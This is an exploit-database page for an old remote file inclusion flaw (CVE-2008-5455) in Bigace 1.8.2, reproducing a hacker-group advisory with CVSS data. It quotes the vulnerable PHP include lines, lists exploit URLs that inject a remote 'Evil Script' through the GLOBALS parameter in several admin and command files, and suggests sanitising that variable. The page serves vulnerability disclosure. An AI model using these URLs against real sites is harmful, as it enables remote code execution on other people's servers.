Exploitalert - Database of Exploits

Bigace 1.8.2 (GLOBALS) Remote File Inclusion

CVE	Category	Price	Severity
CVE-2008-5455	CWE-Other	$300	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2006-09-04

CPE	PURL
cpe:cpe:/a:bigace:bigace:1.8.2	pkg:pkg:bigace/[email protected]

CVSS	EPSS	EPSSP
CVSS:4.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.0219	0.5015

CVSS vector description

http://cxsecurity.com/ascii/WLB-2006080171

Author : Vampire Location : Iran - Tehran HomePage : http://www.hackerz.ir Email : Vampire_chiristof[at]yahoo[dot]com Critical Level : Dangerous ------------------------------------------------------------------------ --------------- Affected Software Description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : Bigace version : 1.8.2 URL : http://Bigace.sourceforge.net ------------------------------------------------------------------------ --------------- Vulnerability: ~~~~~~~~~~~~~ in download.cmd.php , admin.cmd.php , upload_form.php We Found Vulnerability Script ----------------------------------------admin.cmd.php------------------- ---- --------------- .... <?php require_once($GLOBALS['_BIGACE']['DIR']['admin'].'styling.php'); require_once($GLOBALS['_BIGACE']['DIR']['admin'].'functions.inc.php'); include_once($GLOBALS['_BIGACE']['DIR']['libs'].'io.inc.php'); ?> ... ----------------------------------------download.cmd.php---------------- ------- --------------- .... <?php include_once($GLOBALS['_BIGACE']['DIR']['libs'].'io.inc.php'); ?> ... ----------------------------------------upload_form.php----------------- ------ --------------- .... <?php require_once($GLOBALS['_BIGACE']['DIR']['admin'].'include/mode_constants .php'); ?> ... ----------------------------------------item_main.php------------------- ---- --------------- .... <?php require_once($GLOBALS['_BIGACE']['DIR']['admin'].'include/mode_constants .php'); ?> ... Exploit: ~~~~~~~ http://www.target.com/[Bigace]/system/admin/include/item_main.php?GLOBAL S=[Evil Script] http://www.target.com/[Bigace]/system/admin/include/upload_form.php?GLOB ALS=[Evil Script] http://www.target.com/[Bigace]/system/command/download.cmd.php?GLOBALS=[ Evil Script] http://www.target.com/[Bigace]/system/command/download.cmd.php?GLOBALS=[ Evil Script] http://www.target.com/[Bigace]/system/command/admin.cmd.php?GLOBALS=[Evi l Script] Solution: ~~~~~~~~ Sanitize Variabel $GLOBALS in download.cmd.php , admin.cmd.php , item_main.php , upload_form.php ------------------------------------------------------------------------ ---------------- Shoutz: ~~~~~~ ~ Special Greetz to My Best Friends Cephexin , Sh3ll , MFOX , Alijbs and All Real Hackers

Impressum